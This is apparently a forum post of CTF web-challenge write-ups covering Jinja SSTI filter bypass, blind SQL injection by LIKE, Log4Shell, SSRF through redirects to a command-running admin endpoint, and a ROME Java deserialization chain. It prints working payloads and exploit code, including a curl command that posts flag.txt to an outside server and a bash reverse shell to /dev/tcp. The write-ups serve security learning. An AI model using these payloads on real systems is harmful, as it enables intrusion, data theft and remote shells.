CTF Web 的一些比赛题 Writeup

CTF Web 的一些比赛题

DASCTF2022 7月赛 - Harddisk

打开题目后以为是SQL注入,测试了一下发现输入的内容会回显回来,猜测是要考SSTI

使用{{}}被过滤了,接着使用{%%}可行,但是print关键字被过滤了,应该是要搞个无回显。

想用以前链子进行尝试,但是在调用os库时会报异常。由于没有回显,这里也不大清楚是为啥。于是改用了最原始的方法,构造思路如下

{} # 类
↓↓↓
Object # 父类
↓↓↓
os._wrap_close # 调用的子类
↓↓↓
popen # 调用方法

接着要测试所过滤的字符了


.
'
\x
[
]
requests
_
globals
getitem
init
...

过滤的内容很大,但是发现还是有一些可以调用的,如attr"\u\n|这些就差不多够用了。

通过attr过滤器调用需要的内容;然后使用"\u主要是用于关键字过滤后,使用unicode编码进行绕过,这里应该也可以使用八进制来绕过;换行符主要是用于一些需要空格的地方

先构造Object类出来,这里可以用{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")来表示

接着调用__subclasses__()列出它的所有子类:attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()

由于这里无法判断我们需要的os._wrap_close类是第几个(没回显),所以这里使用for循环+if判断的方式来判断

{%for c in {}.__class__.__base__.__subclasses__()%}{if c.__name__ in "_wrap_close"}123{%endif%}{%endfor%}

↓↓↓

{%for%0ac%0ain%0a{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%if%0ac|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f")in"\u005f\u0077\u0072\u0061\u0070\u005f\u0063\u006c\u006f\u0073\u0065"%}123{%endif%}{%endfor%}

最后调用去调用popen函数,由于[]被ban了,通过get方法去拿去字典中键名所对应的键值,然后执行命令即可,最后Payload如下

{%for%0ac%0ain%0a{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%if%0ac|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f")in"\u005f\u0077\u0072\u0061\u0070\u005f\u0063\u006c\u006f\u0073\u0065"%}{%if%0a(c|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u0070\u006f\u0070\u0065\u006e")("cmd")%}123{%endif%}{%endif%}{%endfor%}

image-20220724164957276.png

DASCTF2022 7月赛 - 绝对防御

开局一张图,后面全靠猜。查看了一下js文件,都是与ws有关的,一开始以为要手动去连接,然后再进行注入(以前有道题好像就这样考的,当时有个人手注)。

看了好久没有思路,使用谷歌小插件收集了一波信息,发现存在一个php页面,如下图

image-20220724170357490.png

访问获取网页源码如下

<script>

function getQueryVariable(variable)
{
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}

function check(){
        var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
        if (reg.test(getQueryVariable("id"))) {
            alert("提示:您输入的信息含有非法字符!");
            window.location.href = "/"
         }
}
check()

</script>

通过Get请求传参id,测试后确认为数字型,并且表是3列,这里直接盲猜是id、username、password

其中数据:1是admin、2是flag

想用union select联合查询直接获取的,但是没成,感觉是数据库类型的原因;测试了if函数也不行。

like就可以了,最后构造的语句为2 and password like '%'#,后端的SQL语句应该是select username from users where id = 1 and password like '%'#

写个脚本开始跑

import requests

burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

flag = ""
s = "0123456789QAZXSWEDCVFRTGBNHYUJMKIOLP-{}"

for j in range(1, 120):
    for i in s:
        if i in "-{}":
            i = "\\"+i
        burp0_url = "http://eb97b9e9-5955-4ac4-b506-6499f21a7497.node4.buuoj.cn:81/SUPPERAPI.php?id=2 and password like '" + flag + i + "%25'%23"

        res = requests.get(burp0_url, headers=burp0_headers, allow_redirects=False)
        time.sleep(0.1)
        print str(j) + " : " + i
        if "flag" in res.text:
            flag += i
            print flag
            break
        if i == "\\}":
            print flag
            exit()

这里由于BUU的靶机不能请求太快,不然就会429 Too Request,所以加了一个sleep函数

image-20220724172846920.png

tenableCTF - Log Forge

题目中给了jar包,使用jd-gui反编译工具打开查看源码

image-20220614170219977.png

查看LogForgeSec.class源码可知,其username和password的值都是通过配置文件读取的

image-20220614170441213.png

image-20220614170456590.png

查看LogForgeErrorController.class源码可知,其中dbgmsg变量是可控的,并且从其渲染的文件中可知,可以利用该参数读取配置文件中的username和password

image-20220614170736113.png

image-20220614170753537.png

读取username和password文件

image-20220614170843483.png

查看LogForgeController.class源码发现调用了logger.info,并且查看pom.xml可知log4j-core的版本为2.14.0存在漏洞

最后就是利用CVE-2021-44228

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089

image-20220614171735562.png

CISCN2022_西北分区赛 - MagicProxy

主要的类就两个ProxyControllerAdminController

ProxyController代码如下

package BOOT-INF.classes.com.example.magicproxy.controller;

import com.example.magicproxy.utils.Utils;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.UnknownHostException;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class ProxyController {
  private static final int TIMEOUT = 29000;

  @GetMapping({"/proxy"})
  public void doProxy(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String urlParam = url;
    if (Utils.sanitizeUrl(urlParam)) {
      String ref = request.getHeader("referer");
      String ua = request.getHeader("User-Agent");
      String auth = request.getHeader("Authorization");
      try (ServletOutputStream null = response.getOutputStream()) {
        request.setCharacterEncoding("UTF-8");
        response.setCharacterEncoding("UTF-8");
        URL urlObject = new URL(urlParam);
        URLConnection connection = urlObject.openConnection();
        connection.setConnectTimeout(29000);
        connection.setReadTimeout(29000);
        response.setHeader("Cache-Control", "private, max-age=86400");
        if (auth != null)
          connection.setRequestProperty("Authorization", auth); 
        if (connection instanceof HttpURLConnection) {
          ((HttpURLConnection)connection)
            .setInstanceFollowRedirects(false);
          int status = ((HttpURLConnection)connection).getResponseCode();
          int counter = 0;
          while (counter++ <= 6 && status / 10 == 30) {
            String redirectUrl = connection.getHeaderField("Location");
            urlObject = new URL(redirectUrl);
            connection = urlObject.openConnection();
            if (auth != null)
              connection.setRequestProperty("Authorization", auth); 
            ((HttpURLConnection)connection)
              .setInstanceFollowRedirects(false);
            connection.setConnectTimeout(29000);
            connection.setReadTimeout(29000);
          } 
        } else {
          response.setStatus(415);
        } 
        servletOutputStream.flush();
      } catch (UnknownHostException|java.io.FileNotFoundException e) {
        response.setStatus(404);
      } catch (Exception e) {
        response.setStatus(500);
        e.printStackTrace();
      } 
    } else {
      response.setStatus(400);
    } 
  }
}

首先接收一个url参数,并对其进行检测,是否使用了http/https协议,并且不能使用本地IP地址,在检测后发起请求连接,可知这里存在一个受限的SSRF漏洞。接着它会判断响应包的状态码是否为30x,如果是会接收响应包中的跳转地址继续发起请求,此时并没有其他的检测,但请求完的内容并不会回显,所以这里是一个无回显的SSRF漏洞。代码中在发起请求时会先尝试接收Headers中的一个Authorization参数,这个参数在AdminController起作用

AdminController代码如下

package BOOT-INF.classes.com.example.magicproxy.controller;

import java.io.IOException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Controller;
import org.springframework.util.Base64Utils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class AdminController {
  @GetMapping({"/admin"})
  public void Admin(@RequestParam String command, HttpServletRequest request, HttpServletResponse response) throws IOException {
    String ipAddress = request.getRemoteAddr();
    if (!ipAddress.equals("127.0.0.1")) {
      response.setStatus(HttpStatus.FORBIDDEN.value());
      return;
    } 
    request.setCharacterEncoding("UTF-8");
    String authorization = request.getHeader("Authorization");
    if (authorization == null) {
      response.setStatus(HttpStatus.UNAUTHORIZED.value());
      response.setHeader("WWW-Authenticate", "Basic realm=\"Realm\"");
    } else {
      String credentials = authorization.substring("Basic ".length());
      byte[] decodedCredentials = Base64Utils.decode(credentials.getBytes("UTF-8"));
      String[] arrays = (new String(decodedCredentials)).split(":");
      if (arrays != null && arrays.length == 2) {
        String username = arrays[0];
        String password = arrays[1];
        if ("Admin".equals(username) && "AdminE6fdEiU7".equals(password))
          Runtime.getRuntime().exec(command); 
      } 
    } 
  }
}

首先判断ip是否为本地发起的请求,然后接收Headers中的Authorization参数,取其Basic之后的值进行Base64解码,并以:为界将其断成两个字符串,最后分别比较是否为Admin/AdminE6fdEiU7,如果是就可以执行任意命令。

首先构造一个跳转的代码

# coding:utf8
from flask import Flask,url_for,redirect,request
from werkzeug.routing import  BaseConverter

app = Flask(__name__)

@app.route('/')
def hello_world():
    return redirect('http://127.0.0.1:8080/admin?command=curl%20-X%20POST%20-F%20xx=@flag.txt%20http://vps:8989/', code=301)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

接着利用/proxy路由请求该重定向地址,并记得带上Authorization:Basic QWRtaW46QWRtaW5FNmZkRWlVNw==

image-20220621154203433.png

最后即可接收到flag

image-20220621153838209.png

CISCN2022_华东北分区赛 - Java题

复现使用的环境 : jdk1.8.0_65

根据IndexController类可知考察的是Java反序列利用,查看pom.xml文件没有添加啥依赖,但是题目给出了ToStringBean类,应该是考察的ROME链的反序列化。ROME链的触发基本是通过TemplatesImpl进行类加载,入口类有挺多的,这里使用BadAttributeValueExpException类作为入口类

调用链如下

/*
TemplatesImpl.getOutputProperties()
ToStringBean.toString()
BadAttributeValueExpException.readObject()
*/

编写一个要加载的类 atao.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class atao extends AbstractTranslet {
    public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
    }

    public atao() throws IOException {
        Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec bash -i &>/dev/tcp/ip/port <&1"});
    }
}

使用javac转成class文件

javac atao.java

EXP

package com.game.ctf.Utils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
        File file = new File("atao.class");
        FileInputStream fis = new FileInputStream(file);

        long fileSize = file.length();
        byte[] bytes = new byte[(int) fileSize];
        fis.read(bytes);

        TemplatesImpl templates = new TemplatesImpl();

        Class c = TemplatesImpl.class;
        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, new byte[][] {bytes});

        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "atao");

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

        ToStringBean bean = new ToStringBean(Templates.class, templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);

        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, bean);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
    }
}

最后需要注意的是在发送数据时记得进行一次URL编码

  • 发表于 2022-08-05 09:55:00
  • 阅读 ( 8975 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
atao
atao

2 篇文章

站长统计